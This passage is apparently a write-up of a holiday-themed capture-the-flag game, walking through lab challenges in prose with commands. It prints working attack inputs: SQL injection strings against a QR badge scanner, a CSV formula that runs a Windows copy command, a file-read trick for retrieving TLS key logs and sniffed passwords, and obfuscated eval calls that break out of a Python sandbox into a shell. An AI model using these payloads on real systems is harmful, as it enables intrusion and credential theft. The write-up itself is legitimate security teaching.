history​ command we can see the proper parameter for the first basic request (e.g. ​curl --http2-prior-knowledge
http://localhost:8080/index.php​) If we use a –help flag on ​curl​ we can see that there is an –http2 flag we can pass and
when we execute the command we are given instructions on how to turn on the machine (Figure 24).

25
Figure 27. Searching curl’s help for http2 optinos.

Assuming we don’t know what a POST means, and searching the help for curl again we see a few flags for post.
Combining the --http2 flag with the -d flag and a parameter of “status=on” to localhost:8080 may work.

Figure 28. Screenshot showing curl options with post in them.

Passing this command successfully starts the machine (Figure 26).

26
Figure 29. CURLing Master challenge success message.

After helping Holly, she now has some hints for us for Challenge number five

Unencrypted HTTP/2? What ​was​ he thinking? Oh well.


Have you ever used Bloodhound for testing Active Directory implementations?
It's a merry little tool that can sniff AD and find paths to reaching privileged status on specific machines.
AD implementations can get ​so​ complicated that administrators may not even know what paths they've set up that
attackers might exploit.
Have you seen anyone demo the tool before?

Objective Six – Badge Manipulation


Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is
available. What is the access control number revealed by the door authentication panel? For hints on achieving this
objective, please visit Pepper Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.

Figure 30. Scan-O-Matic and door in Kringlecon for Challenge six.

27
The Badge-scan-o-matic is beyond and to the left of Pepper Minstix as shown in Figure 27. Fortunately, we have a
sample of the badge we need, which uses a QR code (Figure 28).

Figure 31. Sample badge provided which is used with Scan-O-Matric.

QR Codes are useful to store lots of information which is converted into text by using the mix of white space and black
space to convert them into information, data, or text. QR codes have a standard, so we’ll need to understand the
standard and how they convert to text first, then generate our own QR code (with a tool) with a SQL Injection to bypass
the scanner. Uploading our sample to ​https://zxing.org/w/decode​ we successfully decode the QR Code into the text
oRfjg5uGHmbduj2m​. Umm, okay, so it looks like the QR code is just a string of characters, likely a unique password or
token for a user. I’m guessing the password is parsed so we can generate a SQL Injection string, create a QR Code and
upload that to the badge-scan-o-matic. Using a website (​https://www.the-qrcode-generator.com/​) to create our QR
Codes first I’ll try the following text

oRfjg5uGHmbduj2m; SELECT IF(1=1,'true','false')

which prints the following error message across the scrolling LED looking output:

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees


WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check
the manual that corresponds to your MariaDB server version for the right syntax to use near 'true','false')' LIMIT 1' at
line 1\")","request":false}

This was a SQL conditional query, however, we are provided a lot of information by this error. For starters, we know we
have a​ MariaDB ​server​. ​We also know that there are values of​ first_name, last_name, authorized, ​and​ enabled ​and
that the table name is​ employees. ​We can also see that the QR Code text is extracted and put into a ​user_info​ query
string and passed to the query as a ​uid=’{}’​. It’s always a good idea to ensure that web-based queries do not provide
information to an attacker in a production environment, otherwise, what we’re about to do can occur. We’re going to
craft our query for MariaDB, encode it as a QR image, upload it and try to bypass the scanner. After a few different SQL
Injection attempts we find commenting out the rest of the query with a # and ensuring the account is enabled is our
winner.

MariaDB​ is similar to MySQL syntax, and it uses either a #, --, or /* */ for comments
(​https://mariadb.com/kb/en/library/comment-syntax/​). Injecting the value ​' OR enabled#​ passes the query ​SELECT
first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{‘ OR enabled#​ which is

28
commenting out the rest of the query syntax​ LIMIT 1\ ​which bypasses the authentication. Another solution was to add
to the query

' UNION SELECT first_name,last_name,enabled FROM employees WHERE authorized=1 AND enabled=1 AND '1'='1

We can see the returned message on the LED or by using Chrome’s Developer tools and reviewing the response which
returns the Control number for the challenge: ​19880715

{"data":"User Access Granted - Control number


19880715","request":true,"success":{"hash":"6a26a837758c99dc6586b1be0c1e271adc4dedbb88d1c8095e34f333594
7f7bc","resourceId":"da3b3684-b875-4875-9700-989fbdcb9d47"}}

Terminal Challenge – Yule Log Analysis


Pepper Minstix greets us with the following:

Have you heard of password spraying? It seems we've been victim.


We fear that they were successful in accessing one of our Elf Web Access accounts, but we don't know which one.
Parsing through ​.evtx​ files can be tricky, but there's a Python script that can help you convert it into XML for
easier ​grep​'ing.

For this challenge we need to analyze a Windows log file and find (grep) the name of the Elf Web Access account which
was a victim of password spraying. When we login to the terminal we are presented with the following screen:

29
Figure 32. Yule Log Analysis terminal challenge login and welcome message.

In the current directory we see a ​ho-ho-no.evtx​ Windows log file and a ​evtx_dump.py​ Python script. Attempting to run
the script with a traditional –help yields the following usage notes:

30
Figure 33. Yule Log Analysis showing evtx_dump.py help options and home folder contents.

To use this script we type ​evtx_dump.py ho-ho-no.evtx​ or ​python evtx_dump.py ho-ho-no.evtx ​or​ ./evtx_dump.py
ho-ho-no.evtx.​ This produces a lot of xml output. We’re interested in the successful logins, failed logins, and which
systems are involved. If we don’t know anything about password spraying, or how it works a good blog talks about it
here: ​https://www.ziemba.ninja/?p=66​ and discusses how to detect it.

For this analysis, first let’s save our output to a text file to reduce the amount of time it takes to work with the data by
not having to use the Python script each time with ​evtx_dump.py ho-ho-no.evtx > xml-parsed-log.txt​ and now we can
quickly search through a text file of the xml log output. We search for the Windows event number which indicates a
successful/failed login (4624 or 4625) and also show which lines in the log are around the events with context (e.g. -C
flag on grep): ​grep -C 30 "4624" xml-parsed-log.txt​. This gives us a list of successful logins which we can sort and count
with ​grep -A 20 "4624" xml-parsed-log.txt | grep "TargetUserName" | sort | uniq -c​ which produces this output (note
the -A causes ​grep​ to output 20 lines after the discovered value of 4624).

31
Figure 34. Yule Log Analysis showing parsed log contents output with uniq, sort and grep for “TargetUserName”.

We can see that the most successful logins were for TargetUserName accounts of HealthMailboxXXXXXXXX, SYSTEM,
DWM-1, Administrator, NETWORK SERVICE, and minty.candycane, and a few elf names. It stands to reason that a
successful sprayer would identify the account first, then login with that account, so our likely account is Minty
Candycane.

Another method to identify spraying and a possible account compromise to identify the spraying time range by looking
for many failed logins around the same time frame that have one attempt per username (using SourceIP where it’s the
same can be useful here) and then look for the success that was in the that spraying period.

Minty’s name shows up in both methods. So let’s try Minty.

Figure 35. Yule Log Analysis runtoanswer and Minty Candycane input as answer.

It looks like it was in fact Minty Candycane as we succeed in the terminal challenge!

32
Figure 36. Yule Log Analysis runtoanswer challenge completion message.

Now Pepper Minstix has some hints for our challenge, there is a SQL Injection bug on the badge-scan-o-matic, so that
sounds like our avenue of attack:

Well, that explains the odd activity in Minty's account. Thanks for your help!
All of the Kringle Castle employees have these cool cards with QR codes on them that give us access to restricted
areas.
Unfortunately, the badge-scan-o-matic said my account was disabled when I tried scanning my badge.
I really needed access so I tried scanning several QR codes I made from my phone but the scanner kept saying
"User Not Found".
I researched a SQL database error from scanning a QR code with special characters in it and found it may contain
an injection vulnerability.
I was going to try some variations I found on ​OWASP​ but decided to stop so I don't tick-off Alabaster.

Objective Seven – HR Incident Response


Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website
​ ttps://careers.kringlecastle.com/​) and fetch the document C:\candidate_evaluation.docx. Which terrorist organization
(h
is secretly supported by the job applicant whose name begins with "K." For hints on achieving this objective, please visit
Sparkle Redberry and help her with the Dev Ops Fail Cranberry Pi terminal challenge.

For this challenge we need to compromise the website specified in order to read the file
candidate_evaluation.docx​ which is located in Windows’ root directory. Sparkle Redberry will give hints if we help them
with the terminal challenge ​Dev Ops Fail​. First let’s do a visit to the website and open Developer Tools (Figure 33).

33
Figure 37. Chrome developer tools open with web form at https://careers.kringlecastle.com.

We see here that we are asked to put in our name, phone number, an email, and then attach a CSV (Comma Separate
Value file). It’s likely that the CSV file is parsed and this is where we can gain action, because parsers are ripe for
pwnage. Also, it’s always good to review the raw HTML for comments (or hints in this case) because sometimes
developers leave key information which is ignored when a web page is displayed but shows up when reviewing the
HTML directly. In this case, we got bumpkis for the primary page, but we do see some paths to experiment with,
including ​/static/js​ and of particular interest is the ​<script src="/static/js/postrequest.js"></script>​ line in the website
which seems to process our submission or POST request. Trying to navigate to
https://careers.kringlecastle.com/static/js/​ ​provides a 404 error message from the web server telling us to try:
https://careers.kringlecastle.com/public/'file name you are looking for'​ which may be exploitable via directory path
traversal (Figure 34).

34
Figure 38. Error message received from 404 error on https://careers.kringlecastle.com/static/js.

It’s not a good idea to tell visitors your directory structure here showing ​C:\careerportal\resources\public\​ as now we
know there is a​ /public​ web folder and it maps to C:\careerportal\resources\public. Trying to get our file of interest
using directory traversal tricks passing
https://careers.kringlecastle.com/..%2F..%2F..%2F..%2Fcandidate_evaluation.docx​ ​by URL encoding
../../../../candidate_evaluation.docx​ does not get us our document, but it does return a 400 Bad Request error, and
tells us that the webserver is running ​nginx ​version​ 1.14.1​ which was released on 04 December 2018 which doesn’t have
any useful vulnerabilities according to ​https://www.cvedetails.com/vulnerability-list/vendor_id-10048/Nginx.html​.

Drats, looks like it’s on to uploading malicious CSV files and hoping to exploit the parser/csv processing script. If you got
stuck on this one, Sparkle RedBerry drops the…berry, but sharing that there’s a CSV Injection exploit. A quick google
search of OWASP CSV Injection yields a CSV injection page. The first link here ​Comma Separate Vulnerabilities​ takes us
to a page discussing the technique. What catches my eye is this gem using Dynamic Data Exchange to call a Windows
command which opens calculator when a CSV is viewed, maybe it’ll do more than that.

The command of interest: =cmd|’calc’!A0

This seems like a way we can exploit that Public folder we found earlier at C:\careerportal\resources\public by copying a
file from where we already know the file is to the other directory. Let’s try to create a .csv file with just a command to
do this and see what happens

=cmd|'/C copy C:\candidate_evaluation.docx


C:\careerportal\resources\public\candidate_evaluation.docx'!A0

I save this command in a plain text document named ​my_resume.csv​ and upload it to the career portal. Then we try to
navigate to our file at ​https://careers.kringlecastle.com/public/candidate_evaluation.docx​ and woohooo something
downloads (Figure 35)!

35
Figure 39. Showing target file downloaded in Chrome.

Opening this up shows it’s our target and the terrorist organization we are looking for is ​Fancy Beaver​ (Figure ##).

Figure 40. Downloaded target document challenge question answer.

Terminal Challenge – Dev Ops Fail


Oh Sparkle Redberry, what have you done? Apparently, Sparkle has left her password in Git. She thinks it’s all
legit, but wants us to prove it. Ya that’s about the extent of my elvish rhyming vent. We’re greeted by Sparkle with her
(I’m assuming it’s a her) stating:

Hi, I'm Sparkle Redberry!


Ugh, can you believe that Elf Resources is poking around? Something about sensitive info in my git repo.
I mean, I ​may​ have uploaded something sensitive earlier, but it's no big deal. I overwrote it!
Care to check my Cranberry Pi terminal and prove me right?

Logging into the terminal we are presented with a task to see if we can discover her password to unmask…this rhyming
thing is catching. Anyway. The terminal login shows us the following

36
Figure 41. Dev Ops fail Cranberry Pi terminal login message.

So we’ll need to dig into Git. Let’s see what we find with a listing of the current directory

elf@1f7e247dc9f1:~$ ls -la
total 5832
drwxr-xr-x 1 elf elf 4096 Dec 14 16:30 .
drwxr-xr-x 1 root root 4096 Dec 14 16:30 ..
-rw-r--r-- 1 elf elf 220 May 15 2017 .bash_logout
-rw-r--r-- 1 elf elf 1836 Dec 14 16:13 .bashrc
-rw-r--r-- 1 elf elf 675 May 15 2017 .profile
drwxr-xr-x 1 elf elf 4096 Nov 14 09:48 kcconfmgmt
-rwxr-xr-x 1 elf elf 5944352 Dec 14 16:13 runtoanswer

We’ve got some standard login bash stuffs, and a runtoanswer executable, as well as a ​kcconfmgmt​ folder. That must
be our local Git repository so we change to that directory. Searching through a git repository for a string should help us.
To do this we type​ git log -S<string> ​where <string> is the string we want to search. Performing this lands up some
goodies, including the hash of the commit where Sparkle got busted for having a password in the repository (Figure 38).

37
Figure 42. Results of git log -Spassword on Dev Ops Fail Cranberry Pi terminal.

You may note that each change has a commit line followed by numbers and letters. This is the unique hash for the
updates in the repository. How do we see what happened in ​commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b​?
We could time-warp to the state it was in with a command of ​git checkout <commit-id>​ where it’s that unique hash, or
even easier, we just type​ git show 60a2ffea7520ee980a5fc60177ff4d0633f2516b ​and the differences are shown (Figure
39.) Note: This would be ugly and large for a large repository or commit with lots of changes and may require using ​grep
on the output after the fact. Our differences (in red) show a beautiful line with a mongodb connection with a password
of ​twinkletwinkletwinkle​.

38
Figure 43. Differences from performing a git show on commit found removing passwords.

When we submit this answer to the ​runtoanswer​ wizard…we find success (Figure 40).

Figure 44. Dev Ops Fail Cranberry Pi answer and success message.

Sparkle shares her thanks by failing her Social Engineering test…Do elves have a gender? Eh, no matter. We love them
all equally.

Oh my golly gracious - Tangle was right? It was still ​in​ there? How embarrassing!
Well, if I can try to redeem myself a bit, let me tell you about another challenge you can help us with.
I wonder if Tangle Coalbox has taken a good look at his own employee import system.
It takes CSV files as imports. That certainly can expedite a process, but there's danger to be had.
I'll bet, with the right malicious input, some naughty actor could exploit a vulnerability there.
I'm sure the danger can be mitigated. OWASP has guidance on what not to allow with such uploads.

Objective Eight – Network Traffic Forensics


Santa has introduced a web-based packet capture and analysis tool at ​https://packalyzer.kringlecastle.com​ to support
the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the
39
name of the song described in the document sent from Holly Evergreen to Alabaster Snowball? For hints on achieving
this objective, please visit SugarPlum Mary and help her with the Python Escape from LA Cranberry Pi terminal challenge.

Visiting the website, we are presented with a logon screen for “Packalyzer” (Figure ##). Opening Chrome
developer tools and reloading the page shows some interesting named javascript scripts, page errors, as well as some
Cookies (highlighted in yellow in Figure ## and Figure ##). Again we review the source code in raw HTML to look for
hidden comments, and paths on the site. We find paths to ​/register​ as well as ​/pub/js​ and ​/pub/css/​ and ​/pub/img/​.
There are no useful comments left over in the default web page, however we do see the form values of ​username​ and
password​ which are used to pass a username and password when ​login_button​ is clicked.

Side Note: If we want to use a proxy to see and manipulate web page data, we found that the following helps with
programs such as Burp and ZAP which don’t natively support HTTP/2 and this is an HTTP/2 server. Otherwise these
programs return

Unknown ALPN Protocol, expected `h2` to be available.


If this is a HTTP request: The server was not configured with the `allowHTTP1` option or a listener for the
`unknownProtocol` event.

This required a workaround with nghttp2 as reverse proxy to packetlyzer site. From a Mac system with ​brew
installed

$ brew install nghttp2

$ host packalyzer.kringlecastle.com
packalyzer.kringlecastle.com has address 35.190.187.47

# nvhttpx as reverse proxy to convert the ZAP HTTP/1.1 requests to HTTP/2


$ sudo nghttpx "-f127.0.0.1,443;tls" "-f127.0.0.1,80;tls"
"-b35.190.187.47,443;;tls;proto=h2" key.pem cert.pem -k

# Create a cert (self-signed certificates work for this purpose)


$ openssl req -newkey rsa:4096 -nodes -sha512 -x509 -days 3650 -nodes -out
cert.pem -keyout key.pem

# edit /etc/hosts to point packalyzer.kringlecastle.com to localhost

127.0.0.1 packalyzer.kringlecastle.com

40
Figure 45. Objective Eight site ​https://packalyzer.kringlecastle.com​ with Chrome developer tools open.

Figure 46. ​https://packalyzer.kringlecastle.com​ files and javascript scripts in Chrome developer tools.

Clicking Register takes us to ​/register​. Reviewing this and our interesting javascript script ​custom.js​ we see a ​login()
function which posts to ​/api/login​ as well as a ​String.prototype.hexEncode​ and ​String.prototype.hexDecode​ function.
These two functions are likely applicable to how logins are processed (converting values to hex) but don’t necessarily
help us. Reviewing the code for the registration page we see a function ​check_user_or_email(elem)​ which shows that
password lengths have to be greater than 4 and that usernames can only hold certain values; all pretty typical validation
stuff

function check_user_or_email(elem) {
astring = $(elem).val().trim();
elem_id = elem.id
if (astring.length > 4 &&
((astring.match(/^[a-zA-Z][a-zA-Z_]+[a-zA-Z]$/gi) != null && elem_id ===
'username') ||
(astring.match(/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@(
(\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z
]{2,}))$/gi) != null && elem_id === 'email') ) ) {
$.post( "/api/users",{'user_or_email':astring}).done(function(

41
result ) {

Let’s try to register and login. Registration works as long as username is greater than four characters and password is
greater than four characters. This succeeds and we’re looking at an analyze control panel, with an Account, Captures,
and Logout feature (Figure 42). We can Analyze PCAP with an upload, or Sniff Traffic for 20 seconds here.

Figure 47. Packalyzer Control panel options after logging into the site.

Under the Account panel, there are four values. These include ​Account Name​, ​Email​, ​Is Admin?​, and ​User ID values​. It
would be pretty sweet to get that Is Admin? value set to true, but our mission is to access and decrypt HTTP/2 traffic;
ideally traffic with information from Alabaster and/or Holly Evergreen. Whenever I click the ​Sniff Traffic​ button, I see a
capture in the “Captures” area and details about the traffic on the site. The traffic shows communications from IPs
including ​10.126.0.3, 10.126.0.104, 10.126.0.105, and 10.126.0.106​ between these three later ones and ​10.126.0.3
which is using encryption. This must be the decrypt part of the exercise. Let’s analyze the source code of our site for
anything interesting.

The primary ​index.html​ page after login has comments.

One comment sticks out under a function to process file uploads at line 363 and line 394 pointing to ​app.js

//File upload Function. All extensions and sizes are validated


server-side in app.js

Let’s try to see what’s in that by browsing to it at ​https://packalyzer.kringlecastle.com/app.js​, nope. What about
https://packalyzer.kringlecastle.com/pub/js/app.js​ nope. How about ​https://packalyzer.kringlecastle.com/pub/app.js​ ?
This pulls up a page which appears to be a ​Node.js​ page as the first comment is

#!/usr/bin/node

This Node.js script has a lot of valuable information in it, including constants, directory names, and developer notes
about a dev mode (Figure 43. Figure 44. Figure 45.).

42
Figure 48. Notepad++ copy with line numbers of ​https://packalyzer.kringlecastle.com/pub/app.js​.

Figure 49. Notepad++ developer comments of ​https://packalyzer.kringlecastle.com/pub/app.js

Figure 50. Notepad++ developer comments about usage of environmental variables ​https://packalyzer.kringlecastle.com/pub/app.js

43
Figure 51. Notepad++ developer comments of ​https://packalyzer.kringlecastle.com/pub/app.js

Particularly interesting code areas are (Figure 46):

26: const dev_mode = true;


27: const key_log_path = ( !dev_mode || __dirname + process.env.DEV +
process.env.SSLKEYLOGFILE )

These lines are probably a mistake, as ​dev_mode​ is set to true, always. Line 27 will set a constant ​key_log_path​ if we’re
not in dev mode (​!dev_mode ||​), which we are, or when this script is provided a ​__dirname​ and ​SSLKEYLOGFILE
environmental variable.

28-36: const options = {


key: fs.readFileSync(__dirname + '/keys/server.key'),
cert: fs.readFileSync(__dirname + '/keys/server.crt'),
http2: {
protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1
protocols: [ 'h2' ],
},
keylog : key_log_path //used for dev mode to view traffic. Stores a few
minutes worth at a time
};

86-91: if (dev_mode) {
//Can set env variable to open up directories during dev
const env_dirs = load_envs();
} else {
const env_dirs = ['/pub/','/uploads/'];
}
Here we see the paths to keys to decrypt traffic, and that only HTTP2 is allowed. Lines 86-91 allows us to see how
environmental variables are managed. Below we see how the script loads the strings.

function load_envs() {
var dirs = []
var env_keys = Object.keys(process.env)
44
for (var i=0; i < env_keys.length; i++) {
if (typeof process.env[env_keys[i]] === "string" ) {
dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
}
}
return uniqueArray(dirs)

While we don't know all the environment variables, we can probably expect some of the standards (USER, HOME, PATH,
etc.) and we do see a couple that are likely to be set, since they were used earlier in the code... in fact, used as part of
the keylog option..

process.env.DEV and process.env.SSLKEYLOGFILE


027: const key_log_path = ( !dev_mode || __dirname + process.env.DEV +
process.env.SSLKEYLOGFILE )

Reviewing where env_dirs is used we see


163: //Route for anything in the public folder except index, home and
register

164: router.get(env_dirs, async (ctx, next) => {


165: try {
166: var Session = await sessionizer(ctx);
167: //Splits into an array delimited by /
168: let split_path = ctx.path.split('/').clean("");
169: //Grabs directory which should be first element in array
170: let dir = split_path[0].toUpperCase();
171: split_path.shift();
172: let filename = "/"+split_path.join('/');
173: while (filename.indexOf('..') > -1) {
174: filename = filename.replace(/\.\./g,'');
175: }
176: if (!['index.html','home.html','register.html'].includes(filename)) {
177: ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] ||
'/pub/')+filename))
178: ctx.body = fs.readFileSync(__dirname+(process.env[dir] ||
'/pub/')+filename)
179: } else {
180: ctx.status=404;
181: ctx.body='Not Found';
182: }
183: } catch (e) {
184: ctx.body=e.toString();
185: }
186: });

45
This code does a few things, very notably, it sets routing for GET requests based on ​env_dirs​ (and thus with ​dev_mode
enabled, the environment variables). It also does some request path parsing, splitting on “​/”​ to separate the first part
(stored in ​dir​) from the rest of the path (stored in ​filename​), it also filters filename to remove '​..​' to prevent path
traversal attacks. Next in lines 177 and 178, it attempts to load and return the contents of a file in one of the apps
subdirectories, the filepath coming from the value of the environment variable set in ​dir​ with the path from ​filename
added.

If the file doesn't exist, the ​catch​ clause will be invoked, where the full error message is returned as the response (line
184). The message is quite informative... if the ​filepath​ points to a directory instead of a file, the error message tells us...
and if we attempt to open a file that doesn't exist, the error message will tell us the full path that was attempted.

Visiting ​https://packalyzer.kringlecastle.com/pub/​ we get


Error: EISDIR: illegal operation on a directory, read

and ​https://packalyzer.kringlecastle.com/pub/index.htm
Error: ENOENT: no such file or directory, open '/opt/http2/pub//index.htm'

So, part of our HTTP request is used to specify an environment variable to lookup that is used as part of the
filepath... and the error message can reveal the path to us in the response... let's try it out on those TLS
session key related variables...

https://packalyzer.kringlecastle.com/dev/
Error: EISDIR: illegal operation on a directory, read

https://packalyzer.kringlecastle.com/dev/foo
Error: ENOENT: no such file or directory, open '/opt/http2/dev//foo'

https://packalyzer.kringlecastle.com/sslkeylogfile/
Error: ENOENT: no such file or directory, open
'/opt/http2packalyzer_clientrandom_ssl.log/'

Ahh.. based on the server-side code, and response to those requests we can derive a few things…
__dirname​ is set to ​/opt/http2
DEV​ environment variable is set to ​dev
the directory ​/opt/http2/dev/​ does exist
the ​SSLKEYLOGFILE​ environment variable is set to ​http2packalyzer_clientrandom_ssl.log

Now let’s look back at the line that used those variables when setting up the ​keylog​ option

027: const key_log_path = ( !dev_mode || __dirname + process.env.DEV +


process.env.SSLKEYLOGFILE )

So the path to the keylog file is based on the ​DEV​ environment variable, so there is a route for it and the ability to load
files underneath it thanks to lines 164 - 186. We just need to add the value of the ​SSLKEYLOGFILE​ variable.. which we
thankfully know due to the response to the last request for ​https://packalyzer.kringlecastle.com/sslkeylogfile/

46
At this point, we have a path to keys , a way to get the unique client keys, know how they’re managed and know a way
to decrypt using Wireshark and applying the keys based on this talk from Chris Davis ​https://youtu.be/YHOnxlQ6zec​.

We can grab the sslkeylogfile with a request to:


https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log

One gotcha for this was that when we click the SNIFF button in Packalyzer, then download keys, sometimes they weren’t
correct. We had to refresh the URL (​https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log​) a few
times in order to get the correct keys in order to properly decrypt anything in Wireshark as shown in the talk...here’s
how that was done:

In Wireshark, open the .pcap file downloaded from Packalyzer. Then after saving the ssl.log file from URL a few times
and removing duplicates we use it to decrypt by performing these steps in Wireshark:
Wireshark -> Preferences -> Protocols -> SSL -> (Pre)-Master-Secret log filename
Now we can use the filters shared in the talk to decrypt encrypted traffic and hopefully find our song. Useful wireshark
filters from the talk include:

http2
http2.headers.method == "GET"
http2.headers.path == "/pub/css/styles.css"
http2.headers.set_cookie
http2.data.data
http2.data.data && http2 contains username
json.key == "username"

Combing through the decrypted data with the filter http2.data.data we see some JSON objects, and when expanded
they show usernames and passwords (Figure 47).

47
Figure 52. Wireshark packet captures (pcaps) unencrypted using file from dev/packalyzer_clientrandom_ssl.log
Here, after expanding the application/json data we can see username of ​bushy​ and password
Floppity_Floopy-flab19283​. We’re looking for Holly and Alabaster, so we dig through the rest of the application/json
data packets (we can use the filter, ​json.key == "username"​, to show only the login attempt packets).
Eventually we find Alabaster’s username ​alabaster​ and password ​Packer-p@re-turntable192
Let’s login to his account and see if there’s any interesting captures that may hold the information we seek. The login
succeeds, and in his capture we see

Figure 53. Packet capture found in Capture panel for Alabaster’s account.

Downloading this shows some TCP traffic and SMTP traffic which is not encrypted. If we click on a packet, then
right-click and select “Follow TCP Stream” we’re presented with an email conversation with an attachment (Figure 49).
We need to reassemble that attachment to see what it is, as it may hold our answer based on the email text.

48
Figure 54. Wireshark packet capture details from tcp stream in super_secret_packet_capture.pcap.

Copy everything between the

------=_MIME_BOUNDARY_000_11181
Content-Type: application/octet-stream
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment ​ and

------=_MIME_BOUNDARY_000_11181-- ​lines and save it to a file.

On a UNIX/LINUX/MAC system convert the attachment ​attachment.base64​ by typing


base64 -D -i attachment.base64 -o attachment.bin
We can then see what kind of file it is by looking at the file header which appears to be a PDF file.
head -n 2 attachment.bin
%PDF-1.5
%????
We can open this with a PDF viewer, or change the file extension to .pdf to use our computers default pdf viewer
(assuming we have one). On a windows system we can use the certutil command from a command line ​certutil -decode
attachment.base64 attachment.txt​.

In the PDF we eventually find the following at the bottom of page 2 of the PDF (Figure 50). The answer to the objective
is ​Mary Had a Little Lamb

49
Figure 55. Screenshot of the PDF challenge answer from Alabaster’s pcap MIME attachment extracted and decoded and opened in PDF viewer.

Terminal Challenge – Python Escape from LA


In this terminal challenge, we’re supposed to figure out a way to exit Python as Sugarplum says

Hi, I'm Sugarplum Mary.


I'm glad you're here; my terminal is trapped inside a python! Or maybe my python is trapped inside a terminal?
Can you please help me by escaping from the Python interpreter?

I think, given my experience in Python, which is weak by the way, we may be just stuck in an interpreter shell. So let’s
find out by logging in and see what the terminal shows (Figure 51).

Figure 56. Python Escape from LA Cranberry Pi terminal welcome message.

Sure as elves are short, that there is a Python Interpreter prompt! Typing ​quit()​ should get us outta here. But oh
snappity my elven g-string..when we try this it just hangs the terminal. Now we see why Sugarplum was as frazzled as
her figgy puddin’. The ​exit()​ call doesn’t work either. Doh. We can’t import with a traditional ​import sys​ to then call
sys.exit(). What if we use those tricks learned from a SANS HHC talk ​https://www.youtube.com/watch?v=ZVx2Sxl3B9c​?
There seems to be a correlation. Let’s try to set a variable and run an eval on it

mysys = eval(‘impor’+’t os’)

which doesn’t work…what about calling import as function; though frowned upon in general,

mysys = eval('__impor'+'t__("os")')

which works, so now we can try to run a shell using the os.system(“command”), or in our case

50
mysys.system("/bin/bash")

which does in fact drop us into a shell prompt.

Now we can run ​./i_escaped ​and we’re out, well, technically we’re in a shell running in the python process, but
whatevs…we can do shell stuffs now.

Figure 57. Python Escape from LA success message shown after running i_escaped

Alternative methods to escaping Python and directly running the ​i_escaped​ program:

# eval to run exec so we can import

>>> ​eval​("exe"+"c('imp"+"or"+"t os')")

>>>eval("o"+"s.sys"+"tem('./i_escaped')")

# OR Use functional version of import()

>>> ​d = eval​("__imp"+"or"+"t__('os')")

>>> d.system("./i_escaped")

# OR one-liner, w/ functional import

>>>​eval​("__impo"+"rt__('os').sy"+"stem('./i_escaped')")

With our challenge complete for Sparkle, she/he/it now dishes the goods/hints:

Yay, you did it! You escaped from the Python!


As a token of my gratitude, I would like to share a rumor I had heard about Santa's new web-based packet analyzer
- ​Packalyzer​.
Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root.
Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source
code.
There was suspicious-looking development code using environment variables to store SSL keys and open up
directories.
This elf ​then​ told me that manipulating values in the URL gave back weird and descriptive errors.
I'm hoping these errors can't be used to compromise SSL on the website and steal logins.
51
On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew
HTTP2 was so different!

Objective Nine - Ransomware Recovery - Catch the Malware


Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball
deal with the malware on Santa's server by completing several tasks. For hints on achieving this objective, please visit
Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.

Objective nine has four sub-challenges and is available in Santa’s Secret Room (Figure 53). It appears there is malware
infecting Santa’s server, and we need to build a snort filter to catch it, identify the malicious domain, find out how to
stop it, and recover Alabaster’s password.

Figure 58. Santa’s Secret Room in Kringlecon world.

Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.

Clicking on the Snort Challenge shows us (Figure 54). We have to configure an open source Intrusion Detection System
(IDS) to alert only on bad ransomware traffic then add that rule to ​/etc/snort/rules/local.rules​. We can review a log of
DNS traffic in a snort.log.pcap file which is apparently consistently updated. In the local directory we see two files, and a
directory.

elf@afe4aa022dc6:~$ ​ls -la


total 116
drwxr-xr-x 1 elf elf 4096 Jan 11 19:25 .

52
drwxr-xr-x 1 root root 4096 Dec 14 16:19 ..
-rw-r--r-- 1 elf elf 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 elf elf 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 elf elf 655 May 16 2017 .profile
-rw-r--r-- 1 root root 965 Dec 14 16:13 more_info.txt
-rw-r--r-- 1 root root 88165 Jan 11 19:28 snort.log.pcap
drwxr-xr-x 1 elf elf 4096 Dec 14 16:19 snort_logs

Figure 59. Snort Challenge login screen in Santa’s Secret Room.

If we review the more_info.txt file it tells us about the DNS capture, how to test a snort rule, and provides a website to
access the last five minutes of pcaps at ​http://snortsensor1.kringlecastle.com​ using elf/onashelf as username and
password. It then provides a critical hint about dynamic domain names (DNS) and IPs and how malware authors use
these to prevent being captured and suggests using patterns to analyze traffic.

elf@afe4aa022dc6:~$ ​cat more_info.txt


MORE INFO:
A full capture of DNS traffic for the last 30 seconds is
constantly updated to:
/home/elf/snort.log.pcap

You can also test your snort rule by running:


snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf

This will create an alert file at ~/snort_logs/alert

This sensor also hosts an nginx web server to access the


last 5 minutes worth of pcaps for offline analysis. These
can be viewed by logging into:

http://snortsensor1.kringlecastle.com/

53
Using the credentials:
----------------------
Username | elf
Password | onashelf

tshark and tcpdump have also been provided on this sensor.

HINT:
Malware authors often user dynamic domain names and IP addresses that change frequently within minutes or
even seconds to make detecting and block malware more difficult. As such, it's a good idea to analyze traffic
to find patterns and match upon these patterns instead of just IP/domains.
The first thing we want to do is look at those pcap files, so we login to the website provided, and we five pcap files. We
